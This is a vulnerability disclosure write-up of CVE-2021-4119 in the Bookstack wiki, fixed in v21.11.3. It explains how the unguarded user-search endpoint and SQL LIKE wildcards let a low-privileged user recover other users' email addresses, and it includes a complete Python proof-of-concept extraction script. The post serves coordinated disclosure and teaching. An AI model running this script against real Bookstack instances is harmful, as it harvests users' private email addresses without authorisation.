CVE-2021-4119: [Bookstack] Email harvesting via SQL "LIKE" clause exploitation
This post details a vulnerability I discovered where an unauthenticated user can dump email addresses from all users in Bookstack. This was fixed in v21.11.3.

Description

Bookstack is a popular wiki platform built in Laravel for storing and organising information and documentation. Prior to Bookstack v21.11.3, it contained an improper access control vulnerability which allowed authenticated users to harvest email addresses belonging to any user on the platform.

Discovery

This was at the time where, I was focused on learning to review PHP apps written in the Laravel framework. Laravel apps are very easy to review compared to traditional PHP apps as we can easily obtain a lot of app functionality through the routes folder.
1
...
2
Route::get('/status', [StatusController::class, 'show']);
3
Route::get('/robots.txt', [HomeController::class, 'robots']);
4
5
// Authenticated routes...
6
Route::middleware('auth')->group(function () {
7
8
// Secure images routing
9
Route::get('/uploads/images/{path}', [Images\ImageController::class, 'showImage'])
10
->where('path', '.*#x27;);
11
12
// API docs routes
13
Route::redirect('/api', '/api/docs');
14
Route::get('/api/docs', [Api\ApiDocsController::class, 'display']);
15
16
Route::get('/pages/recently-updated', [PageController::class, 'showRecentlyUpdated']);
17
18
// Shelves
19
Route::get('/create-shelf', [BookshelfController::class, 'create']);
20
Route::get('/shelves/', [BookshelfController::class, 'index']);
21
...
Copied!
code in routes/web.php in Bookstack
When testing Laravel apps, or any other apps build in the MVC architecture in general, the first thing you should do is to always review the routes present. They contain a treasure trove of information (such as hidden functionality present in the app) which are useful in mapping out the attack surface of the app.
While reviewing each route, I came across the /search/users/select endpoint.
1
Route::get('/search/users/select', [UserSearchController::class, 'forSelect']);
Copied!
This endpoint points towards a function present inside a controller, particularly the forSelect() function present in the UserSearchController() controller. Controllers are also easy to find, they mostly reside in the app/Http/Controllers folder.
1
<?php
2
3
namespace BookStack\Http\Controllers;
4
5
use BookStack\Auth\User;
6
use Illuminate\Database\Eloquent\Builder;
7
use Illuminate\Http\Request;
8
9
class UserSearchController extends Controller
10
{
11
/**
12
* Search users in the system, with the response formatted
13
* for use in a select-style list.
14
*/
15
public function forSelect(Request $request)
16
{
17
$search = $request->get('search', '');
18
$query = User::query()->orderBy('name', 'desc')
19
->take(20);
20
21
if (!empty($search)) {
22
$query->where(function (Builder $query) use ($search) {
23
$query->where('email', 'like', '%' . $search . '%')
24
->orWhere('name', 'like', '%' . $search . '%');
25
});
26
}
27
28
$users = $query->get();
29
30
return view('form.user-select-list', compact('users'));
31
}
32
}
Copied!
code in app/Http/Controllers/UserSearchController in Bookstack
From the code, we can see that the forSelect() we can control one parameter, search as evidenced in Line 17, search = $request->get('search', ''); The function takes this parameter and will search for an email or name similar to the input in the search parameter using the LIKE clause in Lines 23 and 24. If the search parameter is empty, the function returns a list of usernames. In both cases the function only returns usernames and not emails.
The LIKE clause is used to filter out results from a query using a regex-like expression.
1
$query->where('email', 'like', '%' . $search . '%')
2
->orWhere('name', 'like', '%' . $search . '%');
Copied!
Lines 23 and 24: Email and name search via LIKE
In general, there are 5 kinds of special characters that can be included in the LIKE clause
Symbol
Description
Example
%
Represents zero or more characters
bl% finds bl, black, blue, and blob
_
Represents a single character
h_t finds hot, hat, and hit
[]
Represents any single character within the brackets
h[oa]t finds hot and hat, but not hit
^
Represents any character not in the brackets
h[^oa]t finds hit, but not hot and hat
-
Represents any single character within the specified range
c[a-b]t finds cat and cbt
Looking back at $query->where('email', 'like', '%' . $search . '%') . This is essentially filtering emails based on %{search}% where {search} is something we can control.
This means that for a user named admin with email, [email protected], if we input [email protected], the user named admin will appear on the frontend, as we are filtering based on %[email protected]%
It also means that we can pass in wildcards, if we input [email protected], the user named admin will appear on the frontend, as we are filtering based on %[email protected]% where _ is a wildcard for any singular character. This will come in handy for later.

Exploit

Keep in mind, that we can only receive usernames on the frontend. Hence, to exploit this using a _ we need to first, identify the length of a users email address, which can be done easily by adding a _ character incrementally,
If we go back to the [email protected] example, it matches %_% as [email protected] consists of at least one character, it matches %__% as [email protected] consists of at least two characters, it does not match %__________________% (18 _'s), because [email protected] is only 17 character long and so it does not contain at least eighteen characters.
So the first phase is to adding a _ character incrementally, until our target user no longer appears on the endpoint. We then take the one less of the number of _ characters required to identify the length of the username
1
## STEP 1: Find length of email
2
for i in range(0,100):
3
r = requests.get(host + "/search/users/select?search=" + "_" * i)
4
if victim not in r.text:
5
length = i - 1
6
break
Copied!
The second phase is to just fill in the blanks, by iterating through each _ replacing them and trying every possible character that can appear in emails. For example if the email is [email protected] we try every character for the first _ then the user should only appear at %a_________________% .
1
## STEP 2: Extract email
2
charList = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.']
3
found = ""
4
for ord in range(length-1, -1, -1):
5
for char in charList:
6
r = requests.get(host + "/search/users/select?search=" + found + char + "_" * ord)
7
if victim in r.text:
8
found += char
9
print(found)
10
break
Copied!
Note we begin: with length-1 as we only need to append length-1 _ s when we start of the first character.
The final exploit:
1
import requests
2
3
### REPLACE
4
host = "http://10.0.2.15"
5
username = "viewer"
6
7
### EXPLOIT START
8
def find(victim):
9
## STEP 1: Find length of email
10
for i in range(0,100):
11
r = requests.get(host + "/search/users/select?search=" + "_" * i)
12
if victim not in r.text:
13
length = i - 1
14
break
15
16
## STEP 2: Extract email
17
charList = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.']
18
found = ""
19
for ord in range(length-1, -1, -1):
20
for char in charList:
21
r = requests.get(host + "/search/users/select?search=" + found + char + "_" * ord)
22
if victim in r.text:
23
found += char
24
print(found)
25
break
26
print("Email: " + found)
27
return found
28
29
### CALL EXPLOIT
30
find(username)
Copied!
Note that this PoC slightly differs from the one at https://huntr.dev/bounties/135f2d7d-ab0b-4351-99b9-889efac46fca/. The PoC in the huntr report still works as it is alright if the calculated length is greater than the actual length, just that we will take 28 additional tries (the size of the character list) for every extra character.

Access Control

Though this post details a SQL LIKE clause exploitation. It is at its heart an access control vulnerability, because both unauthenticated and low-privileged users should not have permission to search for users by their emails. This vulnerability was fixed by restricting access to this particular endpoint to only users with user management permissions, as well as removing email-based search entirely.

Acknowledgements

This vulnerability was discovered by me (@Haxatron) and reported via huntr.dev, a bug-bounty website for open-source software. Kudos to @ssddanbrown (maintainer) for acknowledging and fixing the vulnerability promptly as well as huntr.dev for the platform.
Last modified 1mo ago